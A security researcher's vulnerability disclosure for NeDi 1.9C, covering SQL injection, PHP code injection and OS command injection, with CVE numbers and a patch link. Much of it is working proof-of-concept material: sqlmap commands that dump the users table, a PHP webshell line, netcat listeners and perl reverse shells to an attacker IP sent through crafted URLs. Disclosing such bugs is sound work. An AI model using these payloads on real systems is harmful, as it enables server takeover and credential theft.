The Tales of N4nj0

NeDi 1.9C - Multiple Vulnerabilities

TL;DR

I have found three security issues on NeDi 1.9C:

1 - SQL Injection: An authenticated user is able to perform a SQL Injection in the Monitoring History function on the endpoint /Monitoring-History.php via the det HTTP GET parameter.
2 - Code Injection: An authenticated user is able to inject PHP code in the System Files function on the endpoint /System-Files.php via the txt HTTP POST parameter.
3 - Command Injection: An authenticated user is able to execute operating system commands in the Nodes Traffic function on the endpoint /Nodes-Traffic.php via the md or ag HTTP GET parameter.

Product Information

NeDi is an open source software tool which discovers, maps and inventories network devices and tracks connected end-nodes.
During a security auditing of the product, I have found three issues.
The first is a SQL Injection, the second is a Code Injection, and the third is a Command Injection.

The fixes were developed by the owner three day after my vulnerability notification. That’s a very professional way to handle high impact security vulnerabilities!

It is recommended to apply the latest patch 1.9Cp1: https://www.nedi.ch/pub/nedi-1.9C1.ptc

Vulnerability Details

1 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) - CWE-89

  • Summary: An authenticated user can perform a SQL injection attack to access all the data in the database and obtain access to the web application.
  • Prerequisites: Valid credentials for NeDi web interface. Also, some events have to be present on the Monitoring History graphs.
  • CVE and CVSS Score: CVE-2021-26751 | 8.8 (High)

Step-by-step instructions and PoC

First, it is necessary to perform a network discovery to generate events. Those events populate the Monitoring History graphs.
An authenticated user that visits the Monitoring History page can perform a SQL injection attack in the det parameter.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of NeDi version 1.9C (the latest), via the deployment of the NeDian20 OVA or with the installation script nebuntu.sh, without further configuration. After the installation, it is necessary to perform a network discovery to generate events for the vulnerability PoC.

Login to NeDi web administrative interface with the admin account.
To execute a network discovery to generate events, go to System -> NeDi, or directly to the URL https://hostname/System-NeDi.php.
Select Discover -> Ping -> Source -> <IP_ADDRESS> -> Execute and wait 1 minute.

Network discovery

To view the results, go to Monitoring -> History -> Show, or directly to the URL https://hostname/Monitoring-History.php.
Select a big time frame, like 30 Hours. The important is to have data in the graph.
When it is seen the green event peak, intercept the request with a proxy like Burp Suite.

Monitoring History

The request on Burp Suite will be like the next screenshot.

Burp Suite - SQLi

Copy the intercepted request, and paste the content a text file named monitoring.txt, similar to the following one:

GET https://hostname/Monitoring-History.php?in%5B%5D=info&op%5B%5D=%7E&st%5B%5D=&det=class&gra=3600&fmt=ag&stt=01%2F27%2F2021+18%3A15&dur=1800&sho=Show HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://hostname/Monitoring-History.php?in%5B%5D=info&op%5B%5D=%7E&st%5B%5D=&det=class&gra=3600&fmt=ag&stt=01%2F27%2F2021+18%3A15&dur=1800&sho=Show
Cookie: PHPSESSID=hlkgaah276693mqb0ce09qk1hh
Upgrade-Insecure-Requests: 1

Then, use the SQLMap tool to exploit the vulnerability with the following command:

sqlmap -r monitoring.txt --level=5 --risk=3 --random-agent --dbms=mysql --banner

The banner of the database is gathered as PoC of the vulnerability:

SQLMap - Banner

It is possible to dump all the NeDi database to extract the credentials. If a successful password cracking attack is accomplished, an attacker can use the credentials to login to the NeDi admin page.
To extract the users table, use the following command:

sqlmap -r monitoring.txt --level=5 --risk=3 --random-agent --dbms=mysql -D nedi -T users --dump

SQLMap - Database dump

The vulnerability is tested on NeDi version 1.9C, as depicted by the following screenshot:

Vulnerable version confirmation - NeDi 1.9C

Security Impact

By exploiting this issue an attacker is able to access all the data in the database and obtain access to the NeDi application, because all the data, including NeDi credentials, can be extracted and cracked.
It is important to note that a valid NeDi administator account is also able to execute Remote Code Execution attack because of the following reported issues that allows Remote Code Execution. This scenario allows the entire compromise of the target operating system where NeDi is installed.

2 - Improper Control of Generation of Code (Code Injection) - CWE-94

  • Summary: An authenticated user is able to inject PHP code to obtain access to the operating system where NeDi is installed and to all application data.
  • Prerequisites: Valid credentials for NeDi web interface.
  • CVE and CVSS Score: CVE-2021-26753 | 9.9 (Critical)

Step-by-step instructions and PoC

An authenticated user that visits the System Files page can perform a Code Injection attack in the txt parameter.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of NeDi version 1.9C (the latest), via the deployment of the NeDian20 OVA or with the installation script nebuntu.sh, without further configuration. After the installation, it is necessary to edit a PHP file on the web interface and bypass the execution filter.

Login to NeDi web administrative interface with the admin account.
To edit a PHP file, go to System -> Files, or directly to the URL https://hostname/System-Files.php.
Select log/devtools, that will be opened with the text editor.

Add the following line at the beginning of the file:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

The reason to add it to on the top, is to bypass the direct execution prevention code:

# Quit if called directly
if( !isset($_SESSION['group']) ) exit;

The code will prevent to execute the webshell, if the following page is requested directly: https://hostname/log/devtools.php

It il possible to leave the remaining code, because the rest of if will not be executed.

System Files - Code Injection - Payload

After selecting Write, the file will be saved to disk.

System Files - Code Injection - Save PHP page

Open a handler on another machine:

nc -nlvp 4444

Then, choose a perl reverse shell, for example:

perl -e 'use Socket;$i="<attacker_ip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

To execute the reverse shell on the URL, do not forget to encode the space character to + and & character to %26, than execute the payload in a browser with a valid session, replacing the string <attacker_ip> with the valid IP address:

https://hostname/log/devtools.php?cmd=perl+-e+'use+Socket;$i="<attacker_ip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S");open(STDOUT,">%26S");open(STDERR,">%26S");exec("/bin/sh+-i");};'

The code is executed and a reverse shell is obtained.

Code Injection - Reverse shell

It is important to note that a web application should not allow the server-side language file edit, in particular in scenarios where there must be segregation of duties between application administrators and operating system ones.

The HTTP request of the vulnerable parameter is the following, which does not sanitize the user input on txt parameter:

Code Injection - vulnerable parameter

The vulnerability is tested on NeDi version 1.9C, as depicted by the following screenshot:

Vulnerable version confirmation - NeDi 1.9C

Security Impact

When software allows a user’s input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

On its own, an arbitrary code execution exploit will give the attacker the same privileges as the target process that is vulnerable. This includes access to all the data of the target application and the underlying operating system.

3 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) - CWE-78

  • Summary: An authenticated user is able to execute operating system commands to obtain access to the operating system where NeDi is installed and to all application data.
  • Prerequisites: Valid credentials for NeDi web interface.
  • CVE and CVSS Score: CVE-2021-26752 | 8.8 (High)

Step-by-step instructions and PoC

This security issue is found through source code analysis. By using special values in the Nodes-Traffic.php endpoint, it is found that the URL parameters md and ag are not sanitized.
An authenticated user that requests a URL with two forged parameters is able to execute operating system commands.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

The starting point is a standard installation of NeDi version 1.9C (the latest), via the deployment of the NeDian20 OVA or with the installation script nebuntu.sh, without any configuration.

The PHP code on file /var/nedi/html/Nodes-Traffic.php uses several exec() functions.
The one at line 517 can be triggered if the variable $am is true.

Command Injection - Target exec function

On the beginning of the code, it is clear that is possible to control the $am variable, on the purpose to enter the conditional branch of line 514.
The $am variable cannot be controlled directly, but the $md one can be.
According to the code, it is noted that:

  • On line 23, the $md is taken as URL parameter and is not being sanitized.
  • On line 26, if $md = S, the target variable will be $am = 1.

Command Injection - $md and $am variable code

To exploit this code branch, first login to NeDi web administrative interface with the admin account.

As simple test, the following request can be triggered in the browser to write a simple file on /tmp:

https://hostname/Nodes-Traffic.php?md=S&ag=%3btouch+/tmp/pippo%3b

Command Injection - Test command

This is working because of the semicolon ; inserted before and after the command.
Indeed, the final value for the variable $nfcmd will be:

nfdump -M /var/nfdump/ -r nfcapd.202101290100 -a -A srcip4/;touch /tmp/pippo; -O bytes -n 10 2>&1

That string is a valid Linux command, which gets executed by the exec() function on line 517.

To take control of the operating system which runs the vulnerable application, first open a handler on another machine:

nc -nlvp 4444

To get the control of the server, use a perl reverse shell, replacing the string <attacker_ip> with the valid IP address:

https://hostname/Nodes-Traffic.php?md=S&ag=%3bperl+-e+'use+Socket;$i="<attacker_ip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S");open(STDOUT,">%26S");open(STDERR,">%26S");exec("/bin/sh+-i");};'%3b

Command Injection - Reverse shell

The vulnerability is tested on NeDi version 1.9C, as depicted by the following screenshot:

Vulnerable version confirmation - NeDi 1.9C

Security Impact

When software allows a user’s input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

On its own, an arbitrary command execution exploit will give the attacker the same privileges as the target application that is vulnerable. This includes access to all the data of the target application and the underlying operating system.

Timeline